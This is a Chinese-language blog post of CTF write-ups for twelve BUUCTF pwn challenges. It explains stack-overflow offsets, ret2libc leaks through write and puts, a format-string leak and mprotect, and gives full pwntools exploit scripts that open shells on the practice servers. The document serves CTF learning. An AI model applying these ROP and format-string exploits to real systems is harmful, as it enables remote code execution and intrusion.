BUUCTF刷題(前12道)

哈哈哈,我又來刷題了,看了下BUUCTF上面的pwn題還真多。。。

test_your_nc

ida查看,發現直接執行system,所以,直接交互就可以

//寫下簡單的腳本
from pwn import *
p = remote('node3.buuoj.cn',28213)
p.interactive()

 

rip

一道簡單的棧溢出,但是遠程有點問題?。。。所以,,,exp寫的怪怪的。。。

沒啥好說的

覆蓋量爲F+8=23

找system函數的時候,如果有參數的話,應該是去text段找,plt表裏面的函數參數你懂的。。。還沒傳進來呢。。

由於遠程有點問題,所以,emmm,一個可以得到flag 的方法是,先pop eip,然後再去執行system函數,,,不知道爲什麼這樣好使。。正常來說,直接覆蓋返回地址就好了,不要這樣加一個pop eip

//exp:
from pwn import *
#context.log_level='debug'
p = remote('node3.buuoj.cn',27075)

sys_addr=0x0401186
retn_addr=0x0401185
#p.recvuntil("input")
payload='a'*23+p64(retn_addr)+p64(sys_addr)
p.sendline(payload)
p.interactive()

 

warmup_csaw_2016

哈哈哈,自己解出來題目的感覺真好。。。差點去看writeup了。。。懶。

一樣一樣啦,不過沒有開啓nx(注意,接下來會用到),nx是堆棧不可執行

因爲沒有開啓nx,所以棧上的數據我們是可以用的

程序很簡單,覆蓋量是0x40+0x8=0x48

看一下text段,發現有system函數,而且,參數看着不錯??emm我直接傳入這個函數地址了,但是沒有用,應該這個參數沒有用。。。我記的有的可以?所以,那就自己傳參數唄,,,

傳入棧的地址是0x40

ok,可以寫exp了

from pwn import *
p=remote('node3.buuoj.cn',28749)

binsh_addr=0x40
sys_addr=0x40060D

p.recvuntil(">")
payload='/bin/sh'
payload=payload.ljust(0x48,'a')
payload+=p64(sys_addr)
p.sendline(payload)
p.interactive()

 

pwn1_sctf_2016

早上起來做了一道,emmm,題目簡單,只是服務器還是不會發信息,直接發過去就好

32位的程序

我們需要覆蓋的量是0x3c,但是我們只能輸入32(0x20)的數據

但是程序可以將I轉換成三個符號的'you',所以,就可以夠用了

0x3c/3=20,也就是20個‘I’,然後在覆蓋ebp,四個a,再覆蓋返回地址

所以就可以寫exp了

from pwn import *
context.log_level='debug'
p=remote('node3.buuoj.cn',25555)

flag_addr=0x08048F0D

payload="I"*20+'aaaa'+p32(flag_addr)
#p.recvuntil("yourself:")
p.sendline(payload)
p.interactive()

 

ciscn_2019_n_1

64位的程序

很顯然,我們只需要讓v2等於11.825就可以

我們能控制的是v1,位置在rbp-30h

而v2的位置在rbp-4h

所以覆蓋量爲0x30-0x4=0x2c

有一個問題是,浮點數不能直接轉換成字符串str(11.28125),需要找到11.28125在程序中的表示

這裏也有一個在線工具:http://lostphp.com/hexconvert/

然後就直接把0x41348000再發過去就行了

exp如下:

from pwn import *
context.log_level='debug'
p=remote('node3.buuoj.cn',29320)
p.recvuntil('number')
payload='a'*0x2c+p64(0x41348000)
p.sendline(payload)
p.interactive()

 

[OGeek2019]babyrop

32位程序

因爲strlen遇到‘\x00’就會停止,所以我們輸入的字符串以‘\x00’開頭的話,那麼v1=0,strncmp比較的就相等,爲0,跳過了驗證

 

buf的地址在-2c,返回值v5在-25h,所以,兩者相差,我們只要覆蓋7個地址,然後在最後一個覆蓋很大,比如說‘\xff’就可以

所以,我們還需要上一個函數的返回值很大

 

這裏進行棧溢出,因爲程序沒有後門函數,所以需要泄漏函數地址,計算偏移

泄漏write地址

‘a’*0xe7+'aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)

偏移量    ebp      返回地址         write函數的返回地址   1表示輸出     輸出的內容    輸出的長度

得到write函數地址:

write_addr=u32(p.recv(4))

計算基地址:libcbase=write_addr-libc.symbols['write']

計算出system和binsh的偏移

libc文件也是可執行文件,可以在ida裏面運行

計算出system和binsh的地址

system_addr=system_base+libcbase

binsh_addr=binsh_base+libcbase

因爲剛剛write函數的返回地址是main函數,會在執行一次,第一次還是發‘\x00’和’\xff‘

第二次,就可以偏移+ebp+system+system返回地址+參數得到flag了

exp如下:

#coding=utf-8
from pwn import *
context.log_level='debug'
p=remote('node3.buuoj.cn',29248)
elf=ELF('./babyrop')
libc=ELF('./libc-2.23.so')

system_base=0x0003A940
binsh_base=0x015902b 

write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x08048825

payload1='\x00'+'\xff'*7
p.sendline(payload1)
p.recvuntil("Correct\n")

payload2='a'*0xe7+'bbbb'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload2)
write_addr=u32(p.recv(4))

libcbase=write_addr-libc.symbols['write']
sys_addr=libcbase+system_base
binsh_addr=libcbase+binsh_base

p.sendline(payload1)
p.recvuntil("Correct\n")

payload2='a'*0xe7+'bbbb'+p32(sys_addr)+p32(0x0)+p32(binsh_addr)
p.sendline(payload2)
p.interactive()

 

ciscn_2019_c_1

64位程序

一開始看到表單,,,嚇死,,,結果發現只有功能一能用,,,

這裏,會對我們輸入的字符串進行加密,但是我們程序會利用兩次,一次泄漏一個函數地址,另一個getshell,所以兩次異或數據變回原數據,所以其實不用管,,,

這裏,我們需要覆蓋的長度爲0x50+0x8

接收到字符串,我們可以先打印出來看一下

所以我們可以接收直到@,,,

接下來,就可以得到puts的地址,然後計算出偏移,找到system和binsh的地址,第二次就可以得到flag

exp

# encoding=utf-8
from pwn import *
 
sh = remote('node3.buuoj.cn',27706)
elf = ELF('./ciscn_2019_c_1')

start = elf.sym['main']
rdi_addr = 0x0000000000400c83
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets_got = elf.got['gets']

sh.sendlineafter('choice!\n', '1')
payload1 = 'a' * 88 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(start)
sh.sendline(payload1)
sh.recvuntil('@')
sh.recvline()
puts_leak = u64(sh.recvline()[:-1].ljust(8, '\0'))
log.success('puts==>'+hex(puts_leak))

libc = ELF('./libc/libc-2.27.so')
libc_base = puts_leak - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']

bin_sh_addr = libc_base + 0x001b3e9a

sh.sendlineafter('choice!\n', '1')
payload2 = 'a' * 88 + p64(rdi_addr) + p64(bin_sh_addr) +p64(0x0400C1C)+ p64(sys_addr)
sh.sendline(payload2)
sh.interactive()

ciscn_2019_en_2

和ciscn_2019_c_1這道題本質是一樣的,直接把端口改一下,flag就可以出來,,

 

get_started_3dsctf_2016

這道題,看着挺簡單,,,稍後來寫具體的writeup,

參考博客:

(1)https://www.cnblogs.com/bhxdn/p/12679290.html

(2)https://www.b1ndsec.cn/?p=371

有個地方不太懂得是,貌似都沒又覆蓋ebp?

靜態鏈接,但是nx堆棧不可執行,但是靜態鏈接裏面有一個函數可以修改內存權限

 

學到的一個函數mprotect

函數原型:int mprotect(void * addr,size_t len,int prot);

addr 內存起始地址 ;

len 修改內存的長度

prot內存的權限

readelf -S get_started_3dsctf_2016 :可以查看各個段的基地址

【接下來,,,可能有很多不會,,就不放exp,主要是自己的一些學習心得】

 

[第五空間2019 決賽]PWN5

這道題和HITCON-Training lab7一模一樣,,,只是unk_804C044地址不一樣

https://blog.csdn.net/qq_43935969/article/details/105135361

emmm,還有就是buuoj沒有發字符,,,不用recvuntil了,直接sendline就行

#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',27453)
#p=process('./crack')
 
password_addr=0x0804C044
 
#p.recvuntil("name ?")
payload=p32(password_addr)+"#"+"%10$s"+"#"#'#'是必須的,可能需要停頓一下?可以用別的字符
p.sendline(payload)
p.recvuntil("#")
io=p.recvuntil("#")
 
password=u32(io[:4])
#p.recvuntil("password :")
p.sendline(str(password))
p.interactive()
root@kali:~/buuc

還可以參考這篇:https://www.b1ndsec.cn/?p=368

它是字符串讀入,直接把那個給改了

 

ciscn_2019_n_8

這道題,簡單,不過自己十進制和十六進制有點混亂

只要將v[13]設置爲17就行

這裏17是十進制的

#coding=utf-8
from pwn import *
connect = 1#連接本地
fileName='ciscn_2019_n_8'#文件名
port='node3.buuoj.cn'#端口
ip=25793#IP地址

if connect:
    p=remote(port,ip)
else :
    p=process("./"+fileName+"")
         
p.recvuntil("?")
p.sendline('aaaa'*13+p32(0x11))
p.interactive()  

【這篇博客有點長了,,,,前12道題,,,接下來重新開一篇新的】

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章